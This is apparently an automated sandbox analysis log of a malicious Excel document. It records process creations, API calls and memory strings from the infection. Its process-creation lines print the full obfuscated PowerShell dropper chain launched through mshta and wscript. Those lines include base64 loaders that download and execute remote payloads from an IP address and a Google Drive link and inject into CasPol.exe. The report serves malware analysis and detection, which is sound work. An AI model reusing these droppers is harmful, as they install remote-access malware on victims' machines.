                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_004182CE GetLastError,FormatMessageW,FormatMessageA,LocalFree,free,28_2_004182CE
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0041798D GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,26_2_0041798D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_00410DE1 GetCurrentProcess,GetLastError,GetProcAddress,GetProcAddress,LookupPrivilegeValueA,GetProcAddress,AdjustTokenPrivileges,CloseHandle,30_2_00410DE1
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 28_2_00418758 GetDiskFreeSpaceW,GetDiskFreeSpaceA,free,28_2_00418758
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0040F4AF GetModuleFileNameW,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,CloseHandle,26_2_0040F4AF
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0041B539 FindResourceA,LoadResource,LockResource,SizeofResource,26_2_0041B539
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 26_2_0041AADB OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,26_2_0041AADB
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\Desktop\65330000Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeMutant created: \Sessions\1\BaseNamedObjects\Rmc-TTZ00A
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Temp\CVR8A92.tmpJump to behavior
                Source: 0001.xlsOLE indicator, Workbook stream: true
                Source: 65330000.0.drOLE indicator, Workbook stream: true
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebestthingsgivingrenergytomyentirelifeforgeth.VBs"
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: .................P..............2.1.4.8.2.7.0.0.8.8.....................P.......X........................3......x...............P...............Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................h(........................o.....}..w......o......................1......(.P.....d.......l.......x...............................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ........................................P.......}..w............8.......8.......@"......(.P.....d.......l.......................................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................Cm.......................B.l....}..w....P.......\.......................(.P.....d.......l.......................................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................t.h.e. .f.i.l.e. .s.p.e.c.i.f.i.e.d.....6A.l.....mE.....(.P.....d.......l.......H.......&.......................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................Cm.......................B.l....}..w....P.......\.......................(.P.....d.......l.......................................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.9.3.1.....6A.l.....mE.....(.P.....d.......l.......H.......$.......................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ........................................P.......}..w............p#&.....6A.l.....mE.....(.P.....d.......l.......................................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ........................................P.......}..w............p#&.....6A.l.....mE.....(.P.....d.......l.......................................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ........................................P.......}..w............p#&.....6A.l.....mE.....(.P.....d.......l.......................................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................ . . .e.r.a.t.i.o.n.E.x.c.e.p.t.i.o.n...6A.l.....mE.....(.P.....d.......l.......H.......&.......................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ........................................P.......}..w............p#&.....6A.l.....mE.....(.P.....d.......l.......................................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................ . . .o.m.m.a.n.d.s...S.t.a.r.t.P.r.o.c.e.s.s.C.o.m.m.a.n.d.....d.......l.......H.......<.......................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................ .......P.......}..w............p#&.....6A.l.....mE.....(.P.....d.......l.......H...............................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: .................P................o.......o.....}..w.............................1......(.P..............3.......................5..............Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................Cm......................qF.l....}..w.....5......\.......................(.P.....d.......l.......h...............................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: .........................................5......}..w.............".......F.l....x.......(.P.....d.......l.......................................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................Cm......................qF.l....}..w.....5......\.......................(.P.....d.......l.......h...............................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: .........................................5......}..w.............".......F.l....x.......(.P.....d.......l.......................................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................t.h.a.t. .t.h.e. .p.a.t.h. .i.s. .c.o.r.r.e.c.t. .a.n.d. .t.r.y. .a.g.a.i.n.............N.......................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1..".......F.l....x.......(.P.....d.......l............... .......................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................+. .D.E.V.i.c.E.c.R.E.d.e.N.T.i.a.L.D.E.p.L.o.y.M.E.N.t...E.x.e.d.......l...............@.......................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.d.......l...............@.......................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: .........................................5......}..w.............".......F.l....x.......(.P.....d.......l.......................................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................ . . .S.t.r.i.n.g.). .[.].,. .C.o.m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...........N.......................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: .........................................5......}..w.............".......F.l....x.......(.P.....d.......l...............l.......................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................ ........5......}..w.............".......F.l....x.......(.P.....d.......l.......................................Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: .................P..............0.c.......c.....p.......................p.......x........................3......H...............p...............
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................h(........................c.....}..w......c......................1......(.P.....................H...............................
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ..!..............P................c.......c.....}..w.............................1......(.P..............3........!.............0A..............
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................Cm........................Gk....}..w....0A......\.......................(.P.....................................................
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ..!.....................................0A......}..w..............g.....6.Gk......f.....(.P.......................!.............................
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................Cm........................Gk....}..w....0A......\.......................(.P.....................................................
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ..!.....................................0A......}..w..............g.....6.Gk......f.....(.P.......................!.............................
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................t.h.a.t. .t.h.e. .p.a.t.h. .i.s. .c.o.r.r.e.c.t. .a.n.d. .t.r.y. .a.g.a.i.n.....x.......N.......................
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1...g.....6.Gk......f.....(.P.....................x....... .......................
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................+. .D.E.V.i.c.E.c.R.E.d.e.N.T.i.a.L.D.E.p.L.o.y.M.E.N.t...E.x.e.................x.......@.......................
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.................x.......@.......................
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ..!.....................................0A......}..w..............g.....6.Gk......f.....(.P.......................!.............................
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................ . . .S.t.r.i.n.g.). .[.].,. .C.o.m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...x.......N.......................
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ..!.....................................0A......}..w..............g.....6.Gk......f.....(.P.......................!.....l.......................
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................................ .......0A......}..w..............g.....6.Gk......f.....(.P.....................x...............................
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: .................P..............T.r.u.e...c.....}..w.............................1......(.P..............3.......................Q..............
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeConsole Write: ................h(........................c.....}..w......c......................1......(.P.....................................................
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSystem information queried: HandleInformation
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile read: C:\Users\desktop.iniJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CAJump to behavior
                Source: C:\Windows\System32\mshta.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: C:\Windows\System32\mshta.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: C:\Windows\System32\mshta.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: C:\Windows\System32\mshta.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: C:\Windows\System32\mshta.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: C:\Windows\System32\mshta.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: C:\Windows\System32\mshta.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: C:\Windows\System32\mshta.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Windows\System32\drivers\etc\hosts
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile read: C:\Windows\System32\drivers\etc\hosts
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile read: C:\Windows\System32\drivers\etc\hosts
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile read: C:\Windows\System32\drivers\etc\hosts
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile read: C:\Windows\System32\drivers\etc\hosts
                Source: CasPol.exe, CasPol.exe, 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
                Source: CasPol.exe, CasPol.exe, 0000001D.00000002.598241959.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
                Source: CasPol.exe, 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
                Source: CasPol.exe, CasPol.exe, 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0
                Source: CasPol.exe, CasPol.exe, 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
                Source: CasPol.exe, CasPol.exe, 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
                Source: CasPol.exe, CasPol.exe, 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmpBinary or memory string: SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
                Source: 0001.xlsReversingLabs: Detection: 23%
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeEvasive API call chain: __getmainargs,DecisionNodes,exit
                Source: unknownProcess created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe -Embedding
                Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SYsTEm32\wInDoWspoWERShell\V1.0\POWeRSheLL.eXE" "poWERSHelL.exe -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.Exe ; iex($(IEx('[syStem.TeXT.eNcOdInG]'+[chAR]58+[chAr]58+'UtF8.GetstRiNg([sYstEm.conVErt]'+[cHAR]58+[ChAr]58+'FrOMbASE64stRInG('+[CHAR]34+'JFRYOHMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELVR5UGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVtYmVSRGVGSU5pVGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoTXR3U0FMLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlXRlFYWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsV05uV1BtU3Vacyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSURNekQsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR0NERFpyTkJNeXUpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhdUdtbnpkWiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS3NJQ3lpZlhzeEkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFRYOHM6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xMDEuMjEvNDEyL3NlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoZXJiYWNrLnRJRiIsIiRFTnY6QVBQREFUQVxzZWV0aGViZXN0dGhpbmdzZ2l2aW5ncmVuZXJneXRvbXllbnRpcmVsaWZlZm9yZ2V0aC5WQnMiLDAsMCk7U3RBUnQtc2xlZXAoMyk7c3RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoLlZCcyI='+[cHAr]0x22+'))')))"
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.Exe
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\htcuymda\htcuymda.cmdline"
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES7781.tmp" "c:\Users\user\AppData\Local\Temp\htcuymda\CSCED218374D5764718ADCDD459E0E116EB.TMP"
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" -Embedding
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe -Embedding
                Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SYsTEm32\wInDoWspoWERShell\V1.0\POWeRSheLL.eXE" "poWERSHelL.exe -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.Exe ; iex($(IEx('[syStem.TeXT.eNcOdInG]'+[chAR]58+[chAr]58+'UtF8.GetstRiNg([sYstEm.conVErt]'+[cHAR]58+[ChAr]58+'FrOMbASE64stRInG('+[CHAR]34+'JFRYOHMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELVR5UGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVtYmVSRGVGSU5pVGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxtb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoTXR3U0FMLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlXRlFYWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsV05uV1BtU3Vacyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSURNekQsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR0NERFpyTkJNeXUpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhdUdtbnpkWiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS3NJQ3lpZlhzeEkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFRYOHM6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xMDEuMjEvNDEyL3NlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoZXJiYWNrLnRJRiIsIiRFTnY6QVBQREFUQVxzZWV0aGViZXN0dGhpbmdzZ2l2aW5ncmVuZXJneXRvbXllbnRpcmVsaWZlZm9yZ2V0aC5WQnMiLDAsMCk7U3RBUnQtc2xlZXAoMyk7c3RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3NnaXZpbmdyZW5lcmd5dG9teWVudGlyZWxpZmVmb3JnZXRoLlZCcyI='+[cHAr]0x22+'))')))"
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX byPAss -NOp -w 1 -C DEVicEcREdeNTiaLDEpLoyMENt.Exe
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\1vm3e1kt\1vm3e1kt.cmdline"
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC6F7.tmp" "c:\Users\user\AppData\Local\Temp\1vm3e1kt\CSC4B568FC3E3A64456AB5664CB529ACC2C.TMP"
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebestthingsgivingrenergytomyentirelifeforgeth.VBs"
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JigoR2VULVZBUmlhQmxFICcqbURSKicpLk5BTUVbMywxMSwyXS1KT0luJycpKCAoKCc3JysnVk1pbWFnZVVybCA9IHptd2h0dHBzOi8vZHJpdmUuJysnZ29vZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHptdzs3Vk13ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0JysnIFN5c3RlbS5OZXQuV2ViQ2xpZW50OzdWTWknKydtYWdlQnl0ZXMgPSA3Vk13ZWJDbGllbnQuRG93bmxvYWREYXRhKDdWTWltYWdlVXJsKTs3Vk1pbWFnZVRleHQgPSAnKydbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVCcrJ0YnKyc4LkdldFN0cmluZyg3Vk1pbWFnZUJ5dGVzKTs3Vk1zdGFydEZsYWcgPSB6bXc8PEJBUycrJ0U2NF9TVEFSVD4+em13OzdWTWVuZEZsYWcgPSB6bXc8PEJBU0U2JysnNF9FTkQ+Pnptdzs3Vk1zdGFydEluJysnZGV4ID0gNycrJ1ZNaW1hZ2VUZXh0LkluZGV4T2YoN1ZNc3RhcnRGbGFnKTs3Vk1lbmRJbmRleCA9IDdWTWltYWcnKydlVGV4dC5JbmRleE9mKDdWTWVuZEZsYWcpOzdWTXN0JysnYXJ0SW5kZXggLScrJ2dlIDAgLWFuZCA3Vk1lbmRJbmQnKydleCAtZ3QgN1ZNc3RhcnRJbmRleCcrJzs3Vk1zdGFydEluZGV4ICs9IDdWTXN0YXJ0RmxhZy5MZW5ndGg7N1ZNJysnYmFzZTY0TGVuZ3RoID0gJysnNycrJ1ZNZW5kSW5kZXggLSA3VicrJ01zdGEnKydydEluZGV4OzdWTWJhc2U2NENvbW1hbmQgPSA3Vk1pbWFnZVRleHQuU3ViJysnc3RyaW5nKDdWTXN0YXJ0SW5kZXgsIDdWTWJhc2U2NExlbmd0aCk7N1ZNJysnYmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoN1YnKydNYicrJ2FzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIHJwOCBGb3JFYWNoLU9iamVjdCB7IDdWTV8gfSlbLTEuLi0oN1ZNYmEnKydzZTY0Q29tbWFuZC5MZW5ndGgpXTs3Vk1jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm8nKydtQmFzZTY0U3RyaW5nKDdWTWJhc2U2NFJldmVycycrJ2VkKTs3Vk0nKydsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoN1ZNY29tbWFuZEJ5dGVzKTs3Vk12YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHptd1ZBSXptdyk7N1ZNdmFpTWV0aG9kLkludm9rZSg3Vk1udWxsLCAnKydAKHptd3R4dC5UVFInKydDTUxMLzIxNC8xMi4xJysnMDEuMy4yOTEvLzpwdHRoem13LCB6bXdkZXNhdGl2YWRvem13LCB6bXdkZXNhdGl2YScrJ2Rvem13LCB6bXdkZXNhdGl2YWRvem13LCB6bXdDYXNQb2x6bXcsIHptd2Rlc2F0aXZhZCcrJ296bXcsIHptd2Rlc2F0aXZhZG96bXcsem13ZGVzYXRpdmFkb3ptdyx6bXdkZXNhdGl2YWRvem13LHptd2Rlc2F0aXYnKydhZG96bXcsem13ZGVzYXRpdmFkb3ptdyx6bXdkZXNhdGl2JysnYWRveicrJ213LHptdzF6bXcsem13ZGVzYXRpdmFkb3ptdykpOycpICAtckVQbEFDZSAncnA4JyxbQ0hhcl0xMjQgIC1jcmVQbGFDRSAgKFtDSGFyXTEyMitbQ0hhcl0xMDkrW0NIYXJdMTE5KSxbQ0hhcl0zOS1jcmVQbGFDRShbQ0hhcl01NStbQ0hhcl04NitbQ0hhcl03NyksW0NIYXJdMzYpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&((GeT-VARiaBlE '*mDR*').NAME[3,11,2]-JOIn'')( (('7'+'VMimageUrl = zmwhttps://drive.'+'google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur zmw;7VMwebCli'+'ent = New-Object'+' System.Net.WebClient;7VMi'+'mageBytes = 7VMwebClient.DownloadData(7VMimageUrl);7VMimageText = '+'[System.Text.Encoding]::UT'+'F'+'8.GetString(7VMimageBytes);7VMstartFlag = zmw<<BAS'+'E64_START>>zmw;7VMendFlag = zmw<<BASE6'+'4_END>>zmw;7VMstartIn'+'dex = 7'+'VMimageText.IndexOf(7VMstartFlag);7VMendIndex = 7VMimag'+'eText.IndexOf(7VMendFlag);7VMst'+'artIndex -'+'ge 0 -and 7VMendInd'+'ex -gt 7VMstartIndex'+';7VMstartIndex += 